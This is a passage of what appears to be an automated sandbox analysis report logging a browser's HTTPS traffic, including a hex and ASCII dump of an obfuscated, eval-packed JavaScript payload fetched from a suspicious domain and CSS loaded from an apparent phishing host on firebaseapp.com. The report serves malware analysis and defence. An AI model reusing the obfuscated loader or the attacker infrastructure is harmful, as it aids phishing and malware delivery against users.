53 b1 b8 7e 39 94 45 9b 0b e9 d3 9b 9a 0f 4d c8 2f 9a 
Data Ascii: MC,*Us\GV_nMr7um@*oK[sttQ<['#I[yCn=~r>7l$2~/,MesUF/r||sY7=>90`3Pw3)/up5R7gMn~$&WP\ywX1tN
P)S~9EM/

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

21 192.168.2.3 49731 188.114.97.10 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:09 UTC 352 OUT GET /625461d8a89ccb628021247f.js HTTP/1.1
Host: valdia.quatiappcn.pw
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:09 UTC 357 IN HTTP/1.1 200 OK
Date: Fri, 13 May 2022 14:40:09 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Access-Control-Allow-Origin: valdia.quatiappcn.pw
Access-Control-Allow-Methods: GET, POST, DELETE, PUT, PATCH, OPTIONS
Access-Control-Allow-Headers: authkey , authvalue, Authorization, User-Agent, Keep-Alive, Content-Type, X-Requested-
With
Access-Control-Allow-Credentials: true
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Expires: Mon, 25 Jul 1997 05:00:00 GMT
X-Cache-Status: BYPASS
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tUulQy%2BYx7f0VxH2LhATEzeSUjVqsG
QvULn04gMve5ll4UMipJxFms5fo7lI7Zgi54fYKggrY%2BLq6f5OMAts0sz3mou2NmC6XCY%2FLeGwlp7MMijfaEYn
USLbvuSjhVNJ2v%2F2eJTo4w%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 70ac25c90a799bef-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-05-13 14:40:09 UTC 358 IN Data Raw: 32 38 33 65 0d 0a 65 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 24 6e 62 72 75 74 2c 20 24 75 74 6e 62 72 2c 20 
24 6e 62 72 2c 20 24 75 74 2c 20 24 75 79 6e 2c 20 24 79 75 6e 29 20 7b 24 75 79 6e 3d 66 75 6e 63 74 69 6f 6e 28 24 
63 68 61 72 43 6f 64 65 29 20 7b 72 65 74 75 72 6e 20 28 24 63 68 61 72 43 6f 64 65 20 3c 20 24 75 74 6e 62 72 20 3f 
20 27 27 20 3a 20 24 75 79 6e 28 70 61 72 73 65 49 6e 74 28 24 63 68 61 72 43 6f 64 65 20 2f 20 24 75 74 6e 62 72 29 2
9 29 20 2b 28 28 24 63 68 61 72 43 6f 64 65 20 3d 20 24 63 68 61 72 43 6f 64 65 20 25 20 24 75 74 6e 62 72 29 20 3e 20 
33 35 20 3f 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 24 63 68 61 72 43 6f 64 65 20 2b 20 32 39 29 
20 3a 20 24 63 68 
Data Ascii: 283eeval(function($nbrut, $utnbr, $nbr, $ut, $uyn, $yun) {$uyn=function($charCode) {return ($charCode < $utn
br ? '' : $uyn(parseInt($charCode / $utnbr))) +(($charCode = $charCode % $utnbr) > 35 ? String.fromCharCode($c
harCode + 29) : $ch
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2022-05-13 14:40:09 UTC 359 IN Data Raw: 61 72 43 6f 64 65 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 29 3b 7d 3b 20 20 20 20 69 66 20 28 21 27 27 2e 72 
65 70 6c 61 63 65 28 2f 5e 2f 2c 20 53 74 72 69 6e 67 29 29 20 7b 77 68 69 6c 65 20 28 24 6e 62 72 2d 2d 29 20 7b 24 
79 75 6e 5b 24 75 79 6e 28 24 6e 62 72 29 5d 20 3d 20 24 75 74 5b 24 6e 62 72 5d 20 7c 7c 20 24 75 79 6e 28 24 6e 62 
72 29 3b 7d 24 75 74 20 3d 20 5b 66 75 6e 63 74 69 6f 6e 20 28 24 65 6e 63 6f 64 65 64 29 20 7b 72 65 74 75 72 6e 20 2
4 79 75 6e 5b 24 65 6e 63 6f 64 65 64 5d 7d 5d 3b 24 75 79 6e 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 72 65 74 
75 72 6e 20 27 5c 5c 77 2b 27 7d 3b 24 6e 62 72 20 3d 20 31 3b 7d 3b 77 68 69 6c 65 20 28 24 6e 62 72 2d 2d 29 20 7b 
69 66 20 28 24 75 74 5b 24 6e 62 72 5d 29 20 7b 24 6e 62 72 75 74 20 
Data Ascii: arCode.toString(36));};    if (!''.replace(/^/, String)) {while ($nbr--) {$yun[$uyn($nbr)] = $ut[$nbr] || $uyn($nbr);}
$ut = [function ($encoded) {return $yun[$encoded]}];$uyn = function () {return '\\w+'};$nbr = 1;};while ($nbr--) {if ($ut[$nbr]) {
$nbrut 

2022-05-13 14:40:09 UTC 360 IN Data Raw: 22 2c 22 32 39 2f 32 38 3d 22 2c 22 32 35 3d 22 2c 22 32 36 3d 22 2c 22 32 37 3d 22 2c 22 32 61 3d 22 2c 22 
32 64 3d 22 2c 22 32 65 3d 22 2c 22 32 62 3d 22 2c 22 32 67 3d 22 2c 22 32 6a 3d 22 2c 22 32 6b 3d 3d 22 2c 22 32 51 
3d 22 2c 22 32 4f 3d 22 2c 22 33 6e 3d 22 2c 22 33 41 3d 22 2c 22 33 6f 3d 22 2c 22 33 42 3d 3d 22 2c 22 33 44 3d 22 2c 
22 33 45 22 2c 22 33 46 3d 22 2c 22 33 47 3d 3d 22 2c 22 33 4d 3d 22 2c 22 33 4e 3d 22 2c 22 33 4f 3d 22 2c 22 33 6d 
3d 22 2c 22 33 37 3d 22 2c 22 33 6c 3d 3d 22 2c 22 32 55 3d 22 2c 22 32 57 3d 22 2c 22 33 51 3d 3d 22 2c 22 33 32 3d 2
2 2c 22 33 33 3d 22 2c 22 33 39 3d 22 2c 22 33 63 3d 22 2c 22 33 67 3d 22 2c 22 33 6b 3d 22 2c 22 33 6a 22 2c 22 33 69 
3d 22 2c 22 33 68 3d 22 2c 22 33 66 3d 22 2c 22 33 65 3d 22 2c 22 
Data Ascii: ","29/28=","25=","26=","27=","2a=","2d=","2e=","2b=","2g=","2j=","2k==","2Q=","2O=","3n=","3A=","3o=","3B=="
,"3D=","3E","3F=","3G==","3M=","3N=","3O=","3m=","37=","3l==","2U=","2W=","3Q==","32=","33=","39=","3c=","3g="
,"3k=","3j","3i=","3h=","3f=","3e=","

2022-05-13 14:40:09 UTC 361 IN Data Raw: 35 28 22 44 22 29 2b 22 72 22 5d 5b 35 28 22 39 37 22 29 2b 35 28 22 57 22 29 5d 5b 35 28 22 56 22 29 5d 
28 74 29 2c 63 3d 38 5b 61 5d 2c 72 3d 78 5b 63 5d 7c 7c 6e 3b 6e 5b 35 28 22 39 38 22 29 2b 35 28 22 39 39 22 29 5d 
3d 74 5b 35 28 22 56 22 29 5d 28 74 29 2c 6e 5b 35 28 22 39 61 22 29 2b 35 28 22 31 55 22 29 5d 3d 72 5b 22 39 62 22 
2b 35 28 22 31 55 22 29 5d 5b 35 28 22 56 22 29 5d 28 72 29 2c 78 5b 63 5d 3d 6e 7d 7d 29 28 29 3b 6a 20 63 2c 72 3d 
65 3b 65 3c 32 3f 28 28 63 3d 75 5b 22 39 63 22 2b 35 28 22 39 64 22 29 2b 35 28 22 32 32 22 29 5d 28 35 28 22 39 30 
22 29 29 29 5b 35 28 22 57 22 29 5d 3d 35 28 22 38 4a 22 29 2b 35 28 22 38 75 22 29 2c 63 5b 35 28 22 38 49 22 29 5d 
3d 35 28 22 31 37 22 29 2b 35 28 22 38 67 22 29 29 3a 28 63 3d 75 5b 35 28 
Data Ascii: 5("D")+"r"][5("97")+5("W")][5("V")](t),c=8[a],r=x[c]||n;n[5("98")+5("99")]=t[5("V")](t),n[5("9a")+5("1U")]=r
["9b"+5("1U")][5("V")](r),x[c]=n}})();j c,r=e;e<2?((c=u["9c"+5("9d")+5("22")](5("90")))[5("W")]=5("8J")+5("8u"),c[5("8I"
)]=5("17")+5("8g")):(c=u[5(

2022-05-13 14:40:09 UTC 363 IN Data Raw: 2b 35 28 22 31 79 22 29 2b 35 28 22 39 77 22 29 2b 35 28 22 39 4c 22 29 2b 22 39 69 22 2b 35 28 22 39 6a 
22 29 2b 35 28 22 39 6b 22 29 2b 35 28 22 39 6c 22 29 2b 35 28 22 39 4d 22 29 2b 22 39 6d 22 2b 35 28 22 39 6e 22 29 
2c 35 28 22 6b 22 29 2b 22 3a 2f 2f 31 70 22 2b 35 28 22 48 22 29 2b 35 28 22 39 6f 22 29 2b 35 28 22 39 70 22 29 2b 3
5 28 22 39 71 22 29 2b 35 28 22 39 72 22 29 2b 35 28 22 39 73 22 29 2b 35 28 22 39 74 22 29 2b 35 28 22 39 75 22 29 
2c 35 28 22 6b 22 29 2b 22 3a 2f 2f 31 75 22 2b 35 28 22 49 22 29 2b 22 7a 2e 39 68 22 2b 35 28 22 54 22 29 2b 22 39 
76 2e 31 73 2f 31 71 22 2b 35 28 22 45 22 29 2b 35 28 22 46 22 29 2b 35 28 22 4f 22 29 2b 35 28 22 4a 22 29 2b 35 28 
22 39 78 22 29 2b 35 28 22 39 79 22 29 2b 35 28 22 39 7a 22 29 2b 35 28 22 
Data Ascii: +5("1y")+5("9w")+5("9L")+"9i"+5("9j")+5("9k")+5("9l")+5("9M")+"9m"+5("9n"),5("k")+"://1p"+5("H")+5("9o")+5("
9p")+5("9q")+5("9r")+5("9s")+5("9t")+5("9u"),5("k")+"://1u"+5("I")+"z.9h"+5("T")+"9v.1s/1q"+5("E")+5("F")+5("O")+5("J")+
5("9x")+5("9y")+5("9z")+5("

2022-05-13 14:40:09 UTC 364 IN Data Raw: 29 2b 22 6e 22 29 3a 66 28 29 7b 71 21 31 7d 5b 35 28 22 51 22 29 2b 35 28 22 44 22 29 2b 22 72 22 5d 28 
35 28 22 31 64 22 29 2b 22 31 68 22 29 5b 35 28 22 5a 22 29 5d 28 35 28 22 36 41 22 29 2b 35 28 22 36 42 22 29 2b 22 
74 22 29 2c 65 28 2b 2b 78 29 7d 31 69 7b 41 28 78 29 71 20 65 3b 65 28 30 29 7d 31 6a 28 78 29 7b 7d 7d 21 28 35 28 
22 31 66 22 29 2b 35 28 22 31 65 22 29 31 67 20 75 26 26 22 22 3d 3d 75 5b 35 28 22 31 66 22 29 2b 35 28 22 31 65 22 
29 5d 29 7c 7c 79 5b 35 28 22 36 43 22 29 2b 35 28 22 58 22 29 5d 5b 35 28 22 31 63 22 29 2b 35 28 22 31 62 22 29 5d 
28 29 2e 36 44 3f 4d 28 4e 2c 30 29 3a 28 75 5b 35 28 22 31 61 22 29 2b 35 28 22 31 49 22 29 2b 22 31 48 22 2b 35 28 
22 31 4b 22 29 5d 28 35 28 22 32 34 22 29 29 5b 30 5d 5b 35 28 22 36 45 22 
Data Ascii: )+"n"):f(){q!1}[5("Q")+5("D")+"r"](5("1d")+"1h")[5("Z")](5("6A")+5("6B")+"t"),e(++x)}1i{A(x)q e;e(0)}1j(x){}}!(5("1f")
+5("1e")1g u&&""==u[5("1f")+5("1e")])||y[5("6C")+5("X")][5("1c")+5("1b")]().6D?M(N,0):(u[5("1a")+5("1I")+"1H"+5("1K")](5
("24"))[0][5("6E"

2022-05-13 14:40:09 UTC 365 IN Data Raw: 6c 4a 79 7c 42 32 44 53 7a 77 65 7c 43 33 72 59 41 77 34 7c 6f 4c 53 7c 6b 49 47 7c 44 67 76 4b 69 66 75 7c 
41 77 39 5a 71 64 61 7c 30 78 33 61 7c 6f 49 38 56 43 4d 4b 7c 7a 77 72 48 6e 64 79 7c 30 78 66 7c 44 67 48 50 43 59 
61 7c 66 75 6e 63 74 7c 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 7c 6c 32 66 4a 6f 77 71 7c 41 77 35 4c 7a 
61 7c 30 78 64 39 7c 69 4e 6a 4c 44 68 75 7c 43 32 6e 59 41 78 61 7c 43 78 76 4c 43 4e 4b 7c 74 4b 6a 73 7c 30 78 62 
62 7c 7a 78 6a 59 42 33 69 7c 30 78 63 66 7c 43 4d 76 53 7c 43 4d 76 59 7c 6c 4d 31 50 42 49 34 7c 7a 77 35 30 7c 42 6
7 39 4e 7c 43 59 39 48 79 5a 4b 7c 75 33 72 48 44 67 75 7c 44 68 6a 48 79 32 75 7c 45 49 35 4d 41 78 69 7c 74 32 6a 
51 7a 77 6d 7c 44 67 39 6d 42 33 43 7c 6e 4a 4b 33 6d 4a 6d 7c 41 77 
Data Ascii: lJy|B2DSzwe|C3rYAw4|oLS|kIG|DgvKifu|Aw9Zqda|0x3a|oI8VCMK|zwrHndy|0xf|DgHPCYa|funct|decod
eURIComponent|l2fJowq|Aw5Lza|0xd9|iNjLDhu|C2nYAxa|CxvLCNK|tKjs|0xbb|zxjYB3i|0xcf|CMvS|CMvY|lM1PBI4|z
w50|Bg9N|CY9HyZK|u3rHDgu|DhjHy2u|EI5MAxi|t2jQzwm|Dg9mB3C|nJK3mJm|Aw

2022-05-13 14:40:09 UTC 367 IN Data Raw: 76 49 44 71 7c 7a 63 62 56 42 49 61 7c 45 68 71 54 7a 67 75 7c 79 4a 34 30 6d 64 71 7c 79 78 47 56 42 67 
4b 7c 6c 4a 65 32 6c 4a 65 7c 41 77 39 55 7c 44 67 76 59 71 64 69 7c 7a 73 31 32 79 77 57 7c 6f 32 31 48 45 63 30 7c 
42 32 30 56 79 77 4f 7c 6c 4a 61 54 43 4d 6d 7c 7a 73 4b 47 45 33 30 7c 6d 32 6d 57 6e 64 4b 7c 43 33 72 35 42 67 75 7
c 7a 77 6a 48 43 32 75 7c 43 33 62 53 41 78 71 7c 30 78 39 31 7c 42 4d 72 48 43 68 61 7c 79 32 39 31 42 4e 71 7c 42 
67 76 55 7a 33 71 7c 6e 77 76 4b 79 74 71 7c 44 67 39 74 44 68 69 7c 43 4d 76 48 7a 68 4b 7c 7a 73 38 59 6c 4a 61 7c 
42 32 30 56 44 4e 75 7c 41 77 72 48 44 67 75 7c 78 31 39 57 43 4d 38 7c 42 4e 6d 7c 6f 73 35 4a 43 33 6d 7c 45 4b 65 
54 77 4c 38 7c 79 32 39 54 6c 32 65 7c 7a 64 75 57 6d 74 69 7c 42 4d 50 5a 
Data Ascii: vIDq|zcbVBIa|EhqTzgu|yJ40mdq|yxGVBgK|lJe2lJe|Aw9U|DgvYqdi|zs12ywW|o21HEc0|B20VywO|lJaTCM
m|zsKGE30|m2mWndK|C3r5Bgu|zwjHC2u|C3bSAxq|0x91|BMrHCha|y291BNq|BgvUz3q|nwvKytq|Dg9tDhi|CMv
HzhK|zs8YlJa|B20VDNu|AwrHDgu|x19WCM8|BNm|os5JC3m|EKeTwL8|y29Tl2e|zduWmti|BMPZ

2022-05-13 14:40:09 UTC 368 IN Data Raw: 7c 73 65 74 49 6e 74 65 72 76 61 6c 7c 34 65 33 7c 30 78 37 61 7c 30 78 31 36 7c 30 78 33 30 7c 74 6f 4c 6f 
77 65 72 43 61 73 65 7c 30 78 63 32 7c 30 78 32 34 7c 65 72 43 61 73 65 7c 77 61 72 6e 7c 30 78 35 36 7c 61 70 70 6c 
79 7c 46 75 6e 63 74 69 6f 6e 7c 30 78 35 38 7c 30 78 32 39 7c 6e 63 74 69 6f 6e 7c 30 78 37 39 7c 30 78 37 65 7c 30 
78 36 64 7c 30 78 64 35 7c 30 78 34 30 7c 30 78 64 33 7c 30 78 63 36 7c 30 78 33 34 7c 30 78 34 61 7c 30 78 63 31 7c 6
5 78 63 65 70 7c 30 78 38 39 7c 30 78 36 33 7c 30 78 63 39 7c 63 6f 6e 73 74 7c 30 78 38 38 7c 30 78 39 63 7c 30 78 37 
63 7c 30 78 61 30 7c 74 6f 53 74 72 7c 63 72 65 61 74 7c 30 78 35 63 7c 30 78 63 63 7c 30 78 65 33 7c 7a 67 66 5a 41 
65 61 7c 66 69 72 7c 34 39 37 33 66 7c 30 78 35 30 7c 30 78 31 66 7c 
Data Ascii: |setInterval|4e3|0x7a|0x16|0x30|toLowerCase|0xc2|0x24|erCase|warn|0x56|apply|Function|0x58|0x29|nc
tion|0x79|0x7e|0x6d|0xd5|0x40|0xd3|0xc6|0x34|0x4a|0xc1|excep|0x89|0x63|0xc9|const|0x88|0x9c|0x7c|0xa0|toStr|cr
eat|0x5c|0xcc|0xe3|zgfZAea|fir|4973f|0x50|0x1f|

2022-05-13 14:40:09 UTC 369 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 125 of 286



Session ID Source IP Source Port Destination IP
Destination
Port

Process

22 192.168.2.3 49726 142.250.186.77 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:09 UTC 352 OUT POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1
Host: accounts.google.com
Connection: keep-alive
Content-Length: 1
Origin: https://www.google.com
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:09 UTC 353 OUT Data Raw: 20 
Data Ascii:  

2022-05-13 14:40:09 UTC 356 IN HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://www.google.com
Access-Control-Allow-Credentials: true
X-Content-Type-Options: nosniff
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 13 May 2022 14:40:09 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: script-src 'report-sample' 'nonce-F2OKAEhF7d0Wh_AGHrNRrA' 'unsafe-inline';object-src 
'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self'
Content-Security-Policy: script-src 'nonce-F2OKAEhF7d0Wh_AGHrNRrA' 'self' https://apis.google.com https://ssl.
gstatic.com https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAc
countsHttp/cspreport
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport
Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp"
Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/rep
ort-to/IdentityListAccountsHttp/external"}]}
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-M
odel, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-
platform=*, ch-ua-platform-version=*
Server: ESF
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-05-13 14:40:09 UTC 357 IN Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a 
Data Ascii: 11["gaia.l.a.r",[]]

2022-05-13 14:40:09 UTC 357 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

23 192.168.2.3 49729 142.250.185.238 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:09 UTC 353 OUT GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=
&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%
3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelp
bcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
Host: clients2.google.com
Connection: keep-alive
X-Goog-Update-Interactivity: fg
X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm
X-Goog-Update-Updater: chromecrx-85.0.4183.121
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-05-13 14:40:09 UTC 354 IN HTTP/1.1 200 OK
Content-Security-Policy: script-src 'report-sample' 'nonce-QYtuX-6lzDEYMjsZSKm5SA' 'unsafe-inline' 'strict-dynamic' http
s: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 13 May 2022 14:40:09 GMT
Content-Type: text/xml; charset=UTF-8
X-Daynum: 5611
X-Daystart: 27609
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-05-13 14:40:09 UTC 355 IN Data Raw: 33 36 64 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 
54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 
2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 
72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 31 
31 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 32 37 36 30 39 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 
6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 
74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 
Data Ascii: 36d<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" p
rotocol="2.0" server="prod"><daystart elapsed_days="5611" elapsed_seconds="27609"/><app appid="nmmhkkegccagdld
giimedpiccmgmieda" cohort="1::" cohortname=""

2022-05-13 14:40:09 UTC 355 IN Data Raw: 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 
22 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 
31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 
5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 
37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 
74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 
72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 
Data Ascii: mmhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5
450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" 
protected="0" size="248531" status="ok" version="1.0.0.6"/></app><a

2022-05-13 14:40:09 UTC 356 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

24 192.168.2.3 49741 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:09 UTC 369 OUT GET /cvnmkyjthrsdgvzx/themes/css/ac9d501254e3d7e326d2bb25eda4669bnbr1649697239.css HTTP/1.1
Host: rimorecndappz.firebaseapp.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:09 UTC 369 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 1086
Cache-Control: max-age=3600
Content-Type: text/css; charset=utf-8
Etag: "2c2f42530360d92df6a9043afb8385defb5a11ba6299d3a885ecfdb3ce6e12e7"
Last-Modified: Thu, 14 Apr 2022 17:10:06 GMT
Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes
Date: Fri, 13 May 2022 14:40:09 GMT
X-Served-By: cache-fra19161-FRA
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1652452810.766383,VS0,VE1
Vary: x-fh-requested-host, accept-encoding
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2022-05-13 14:40:09 UTC 369 IN Data Raw: 23 6f 75 74 64 61 74 65 64 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2c 22 
53 65 67 6f 65 20 55 49 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 62 
61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 32 35 36 34 38 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 64 69 73 70 
6c 61 79 3a 6e 6f 6e 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6c 65 66 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 
3a 66 69 78 65 64 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 
3a 75 70 70 65 72 63 61 73 65 3b 74 6f 70 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 31 35 30 
30 3b 70 61 64 64 69 6e 67 3a 30 20 32 34 70 78 20 32 34 70 78 
Data Ascii: #outdated {font-family:"Open Sans","Segoe UI",sans-serif;position:absolute;background-color:#f2564
8;color:white;display:none;overflow:hidden;left:0;position:fixed;text-align:center;text-transform:uppercase;top:0;width:
100%;z-index:1500;padding:0 24px 24px

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

25 192.168.2.3 49742 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:10 UTC 371 OUT GET /cvnmkyjthrsdgvzx/themes/css/972bc60054973fc87bffb8ba3c0492fanbr1649697239.css HTTP/1.1
Host: rimorecndappz.firebaseapp.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:10 UTC 371 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 93026
Cache-Control: max-age=3600
Content-Type: text/css; charset=utf-8
